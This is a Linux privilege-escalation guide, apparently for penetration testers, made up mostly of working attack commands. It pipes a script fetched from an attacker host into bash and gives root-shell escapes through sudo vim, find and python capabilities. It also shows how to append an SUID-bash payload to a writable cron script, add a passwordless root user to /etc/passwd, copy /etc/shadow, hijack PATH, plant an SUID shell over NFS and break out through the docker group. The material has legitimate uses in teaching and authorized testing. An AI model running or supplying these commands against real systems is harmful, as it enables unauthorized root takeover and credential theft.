Getting a shell on a Linux system is only half the battle. Privilege escalation (privesc) is the process of moving from a low-privilege user account to root. This guide covers the most common techniques, the automated tools that find them, and how to manually verify each finding.
Automated Enumeration First
Run automated scripts immediately after gaining a foothold:
LinPEAS
The most comprehensive Linux enumeration script:
# On attacker machine
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Transfer to target (if curl available)
curl http://attacker-ip:8000/linpeas.sh | bash
# Or with Python HTTP server
# attacker: python3 -m http.server 8000
# target: wget http://attacker-ip:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
LinPEAS color-codes findings: red/yellow = high probability, blue = interesting info.
LinEnum and linux-smart-enumeration (LSE)
# LSE with high verbosity
curl https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | bash -s -- -l2
Manual Checks
Automated tools miss context. Always verify manually.
uname -a # Kernel version
cat /etc/os-release # OS version
hostname
id # Current user/groups
whoami
Sudo permissions
sudo -l
If you can run ANY command as root without a password, that’s immediate escalation. Common exploitable binaries: vim, python, perl, find, awk, nmap (older versions), wget.
Check GTFOBins for escape techniques for specific binaries.
Example — sudo vim:
sudo vim -c ':!/bin/bash'
Example — sudo find:
sudo find /etc -name passwd -exec /bin/bash \;
SUID/SGID Binaries
SUID binaries run as their owner (often root) regardless of who executes them:
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
Compare against default SUID binaries (/usr/bin/passwd, /usr/bin/sudo, etc.) and investigate anything unusual. Check custom binaries in /opt, /home, or non-standard paths.
GTFOBins documents SUID exploits for common binaries. For example, if cp has SUID:
# Copy /etc/shadow to a readable location
/usr/bin/cp /etc/shadow /tmp/shadow_copy
World-Writable Files and Scripts
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null
Pay attention to scripts that run as root (via cron or services) but are world-writable.
Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Watch for running processes (pspy is the best tool)
./pspy64
pspy monitors process execution without root:
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64
Look for scripts running as root on a schedule. If the script is writable, insert a reverse shell or SUID bash payload.
Example payload to append to a writable cron script:
echo 'chmod +s /bin/bash' >> /path/to/cron-script.sh
# Wait for cron to run, then:
/bin/bash -p
Weak File Permissions
/etc/passwd writable
ls -la /etc/passwd
# If writable, add a root user:
echo 'hacker:$(openssl passwd -1 hacked):0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # password: hacked
/etc/shadow readable
ls -la /etc/shadow
# If readable, copy hashes and crack with hashcat/john
Capabilities
Linux capabilities grant partial root privileges to specific binaries:
getcap -r / 2>/dev/null
Dangerous capabilities: cap_setuid, cap_net_raw, cap_dac_override.
Example — Python with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
PATH Hijacking
If a SUID binary calls other binaries without full paths, you can hijack them:
# Read the binary or use strings to see what it calls
strings /usr/local/bin/vulnerable-binary | grep -v "^/"
# If it calls "service" or "date" without /usr/bin/date...
# Create a malicious version in a writable directory
echo '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/vulnerable-binary
NFS No_Root_Squash
cat /etc/exports
# Look for: /share *(rw,no_root_squash)
If no_root_squash is set, mount the share from your attacker machine as root and plant a SUID binary:
# Attacker (as root)
mkdir /mnt/target-share
mount -t nfs target-ip:/share /mnt/target-share
cp /bin/bash /mnt/target-share/bash
chmod +s /mnt/target-share/bash
# On target
/share/bash -p
Kernel Exploits
Last resort — kernel exploits are noisy and can crash systems. Check the kernel version against known exploits:
uname -r
# Search: searchsploit linux kernel 4.4 privilege escalation
# Or check: https://github.com/bwbwbwbw/linux-kernel-exploits
Common kernel privesc exploits: Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034), Dirty Pipe (CVE-2022-0847).
Docker and LXC Breakout
id # Are you in the docker group?
# If yes:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Putting It All Together
A practical privesc order:
- Run LinPEAS, note all high-severity findings
- Check
sudo -l manually
- Review SUID binaries against GTFOBins
- Run pspy and watch cron jobs for 2–3 minutes
- Check capabilities with
getcap
- Review writable files in critical directories
- Look at running services and their configs
- Consider kernel exploits only if nothing else works
Document everything — good pentests need reproducible evidence.